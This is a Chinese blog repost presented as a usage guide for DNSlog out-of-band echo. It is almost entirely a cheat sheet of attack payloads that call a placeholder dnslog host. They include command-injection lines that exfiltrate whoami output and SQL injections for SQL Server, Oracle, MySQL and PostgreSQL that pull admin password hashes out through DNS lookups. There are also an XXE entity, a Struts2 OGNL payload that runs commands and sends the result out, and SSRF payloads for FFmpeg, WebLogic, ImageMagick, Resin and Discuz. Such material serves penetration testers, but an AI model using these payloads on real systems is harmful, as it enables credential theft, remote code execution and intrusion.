首页 > 其他分享 >Dnslog回显使用指南

Dnslog回显使用指南

时间:2023-08-18 16:33:05浏览次数:35  
标签:Dnslog 回显 ip xxx dnslog org 使用指南 port SELECT

一、命令执行场景
Liunx/Unix/Mac OS系统:

curl http://ip.port.xxx.dnslog.org/`whoami`
ping `whoami`.ip.port.xxx.dnslog.org

Windows系统:

ping %USERNAME%.xxx.dnslog.org

二、SQL注入场景
SQL Server数据库:

DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.xxx.dnslog.org';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');

Oracle数据库:

SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.xxx.dnslog.org');
SELECT UTL_HTTP.REQUEST('http://ip.port.xxx.dnslog.org/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.xxx.dnslog.org/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.xxx.dnslog.org',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.xxx.dnslog.org',80) FROM DUAL;

MySQL数据库:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.xxx.dnslog.org\\abc'));

PostgreSQL数据库:

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.xxx.dnslog.org\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

三、XXE场景
XML实体:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.xxx.dnslog.org/xxe_test">
%remote;]>
<root/>

四、其他场景
Struts2中间件:

xx.action?redirect:http://ip.port.xxx.dnslog.org/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://ip.port.xxx.dnslog.org/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

FFMpeg插件:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://ip.port.xxx.dnslog.org
#EXT-X-ENDLIST

Weblogic中间件:

example.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.xxx.dnslog.org/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search

ImageMagick插件:

push graphic-context
viewbox 0 0 640 480
fill 'url(http://ip.port.xxx.dnslog.org)'
pop graphic-context

Resin中间件:

example.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.xxx.dnslog.org/ssrf

Discuz社群:

example.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://ip.port.xxx.dnslog.org/x.jpg[/img]&formhash=x

 

标签:Dnslog,回显,ip,xxx,dnslog,org,使用指南,port,SELECT
From: https://www.cnblogs.com/Gouwa/p/17640911.html

相关文章

  • 软件测试|Docker exec命令详细使用指南
    简介Dockerexec命令是Docker提供的一个强大工具,用于在正在运行的容器中执行命令。本文将详细介绍Dockerexec命令的用法和示例,帮助大家更好地理解和使用这个命令。Docker是一种流行的容器化平台,允许我们在容器中运行应用程序。有时候,在容器内执行命令可以帮助我们调试、排查问题或......
  • 软件测试|Docker Kill/Pause/Unpause命令详细使用指南
    简介Docker是一种流行的容器化平台,提供了各种命令和功能来管理和操作容器。本文将详细介绍Docker中的三个重要命令:kill、pause和unpause。我们将深入了解它们的作用、用法和示例,帮助您更好地理解和使用这些命令。什么是DockerKill/Pause/Unpause命令?Docker提供了几个与容器生命周......
  • elementUi中的radio回显之后无法选择的问题
    情况:在用el-radio时,在回显数据之后,点击其他的radio想要选择的时候,勾选不了。原因:接口返回数据中没有声明radio的对应变量,导致直接赋值给list中未声明的变量,所以双向绑定不会被vue监听,即没有刷新。=》vue中对数据双向绑定的支持限于基本添加删除的方法,详情看官网解决方案:1、原本......
  • Traffic Control (TC) 简介和使用指南
    TrafficControl(TC)简介和使用指南TrafficControl(TC)是一个在Linux操作系统中用于控制网络流量的工具,允许对网络流量进行限速、排队、分流以及其他管理操作。TC用于实现QoS(QualityofService)和流量整形,能够更好地控制网络资源和提供更好的用户体验。我们主要用于网损控制......
  • [Python爬虫]selenium4新版本使用指南
    From:码同学测试公众号------------------------------------Selenium是一个用于Web应用程序测试的工具。Selenium测试直接运行在浏览器中,就像真正的用户在操作一样。支持的浏览器包括IE(7,8,9,10,11),MozillaFirefox,Safari,GoogleChrome,Opera,Edge等。这个工具的主要功能包括......
  • el-tree 父子节点勾选框:勾选时关联但回显时不关联
    需求之前的需求是el-tree父子节点勾选框半关联,但是现在需求改了,需要:勾选时父子节点关联;数据回显时,父子节点不关联。即:分析传参控制父子节点是否关联check-strictly父子节点是否关联是由check-strictly这个属性决定的:为false表示关联,为true表示不关联。回显......
  • Java Web Service Get请求使用指南
    JavaWebServiceGet请求使用指南在当今互联网时代,WebService已经成为了现代软件开发中不可或缺的一部分。而Java作为一种广泛使用的编程语言,自然也提供了丰富的工具和库来支持WebService的开发。本文将为大家介绍如何使用Java编程语言进行WebService的Get请求。JavaWebserv......
  • NLTK 使用指南
    NLTK安装pip3installnltkNLTK数据下载代码中下载importnltknltk.download()手工下载https://www.nltk.org/nltk_data/根据需要,进行下载。NLTK使用......
  • apiDoc 文档使用指南
    安装安装node.js安装apiDoc,项目根目录下npminstallapidoc-g配置在你的项目根目录下新建apidoc.json文件,该文件描述了项目对外提供接口的概要信息如名称、版本、描述、文档打开时浏览器显示标题和接口缺省访问地址。apidoc.json{"name":"ServiceEbikeAPIs","version":"......
  • React Hooks 使用指南
    ReactHooksHook是什么Hook是React16.8的新增特性。它可以让你在不编写class的情况下使用state以及其他的React特性。Hook是React团队在React16.8版本中提出的新特性,在遵循函数式组件的前提下,为已知的React概念提供了更直接的API:props,state,context,re......